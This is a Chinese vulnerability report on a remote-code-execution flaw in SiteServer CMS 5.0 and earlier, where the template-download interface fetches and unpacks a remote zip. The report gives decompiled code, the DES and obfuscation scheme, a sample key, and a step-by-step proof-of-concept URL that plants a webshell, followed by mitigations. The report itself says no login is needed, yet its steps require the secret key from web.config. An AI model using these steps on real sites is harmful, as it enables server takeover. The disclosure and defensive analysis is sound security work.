简记野生应急捕获到的siteserver远程模板下载Getshell漏洞
字数 1432 2025-08-18 11:37:57
SiteServer CMS 远程模板下载Getshell漏洞分析报告
漏洞概述
SiteServer CMS(版本5.0及以下)存在一个高危远程代码执行漏洞,攻击者可通过远程模板下载功能实现Getshell。该漏洞源于后台模板下载功能未进行充分的权限校验,且ajaxOtherService.aspx接口的downloadUrl参数可控,导致攻击者可以构造恶意请求下载并自动解压包含后门的模板文件。
漏洞影响
- 影响版本:SiteServer CMS 5.0及以下版本
- 漏洞类型:远程代码执行
- 危害等级:高危
- 利用条件:无需登录,直接访问特定接口
漏洞分析
攻击流程
- 攻击者构造恶意请求访问
ajaxOtherService.aspx接口 - 指定
type=SiteTemplateDownload触发模板下载功能 - 通过
downloadUrl参数指定远程恶意zip文件的URL - 系统下载并自动解压该zip文件到模板目录
- 解压后的恶意文件(如aspx后门)可直接访问执行
关键代码分析
漏洞位于AjaxOtherService.cs文件中的SiteTemplateDownload函数:
public void SiteTemplateDownload(string downloadUrl, string directoryName, string userKeyPrefix)
{
// 解密downloadUrl
downloadUrl = TranslateUtils.DecryptStringBySecretKey(downloadUrl);
// 下载并解压远程模板
SiteTemplateManager.DownloadSiteTemplate(directoryName, downloadUrl);
}
解密过程使用DES算法,密钥从web.config中获取:
public static string DecryptStringBySecretKey(string inputString, string secretKey)
{
// 替换混淆字符
inputString = inputString.Replace("0slash0", "/").Replace("0equals0", "=").Replace("0add0", "+");
// DES解密
byte[] iv = { 0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF };
byte[] byKey = Encoding.UTF8.GetBytes(secretKey.Length > 8 ? secretKey.Substring(0, 8) : secretKey);
var des = new DESCryptoServiceProvider();
byte[] inputByteArray = Convert.FromBase64String(inputString);
var ms = new MemoryStream();
var cs = new CryptoStream(ms, des.CreateDecryptor(byKey, iv), CryptoStreamMode.Write);
cs.Write(inputByteArray, 0, inputByteArray.Length);
cs.FlushFinalBlock();
return Encoding.UTF8.GetString(ms.ToArray());
}
加密/解密过程
-
加密过程:
- 原始URL:
http://127.0.0.1:99/txt2.zip - 使用DES加密(密钥为
web.config中的SecretKey) - Base64编码结果:
ZjYIub/YxA3QempkVBK4CoiVo3M607H/TBf7F0aPcUE= - 混淆处理:将
/替换为0slash0,=替换为0equals0,+替换为0add0 - 最终
downloadUrl参数值:ZjYIub0slash0YxA3QempkVBK4CoiVo3M607H0slash0TBf7F0aPcUE0equals0
- 原始URL:
-
解密过程:
- 系统接收到参数后反向替换混淆字符
- 使用相同的DES密钥解密
- 获取真实的远程文件URL
漏洞复现
环境准备
- 搭建SiteServer CMS 5.0或以下版本
- 准备一个包含后门的zip文件并托管在可访问的Web服务器上
利用步骤
-
获取SecretKey:
- 从目标站点的
web.config文件中获取SecretKey值(如:vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5)
- 从目标站点的
-
加密恶意URL:
- 使用DES算法加密恶意zip文件URL
- 进行Base64编码和字符混淆
-
构造POC:
http://target.com/Ajax/ajaxOtherService.aspx?type=SiteTemplateDownload&userKeyPrefix=test&downloadUrl=ZjYIub0slash0YxA3QempkVBK4CoiVo3M607H0slash0TBf7F0aPcUE0equals0&directoryName=malicious
-
访问POC:
- 成功访问后系统会返回"站点模板下载成功"
- 恶意zip文件会被下载并自动解压到模板目录
-
访问后门:
- 根据zip文件内容访问解压后的后门文件(如:
malicious/shell.aspx)
- 根据zip文件内容访问解压后的后门文件(如:
防御措施
-
官方补丁:
- 升级到SiteServer CMS最新版本
-
临时修复方案:
- 限制
ajaxOtherService.aspx的访问权限 - 在Web应用防火墙中添加规则拦截可疑请求
- 检查并删除可疑的模板文件
- 限制
-
安全建议:
- 定期检查服务器上的异常文件
- 监控
SiteTemplate目录的文件变化 - 加强服务器日志审计
参考
- SiteServer CMS官网:https://www.siteserver.cn/
- 漏洞报告原文:FreeBuf文章(2019-02-12)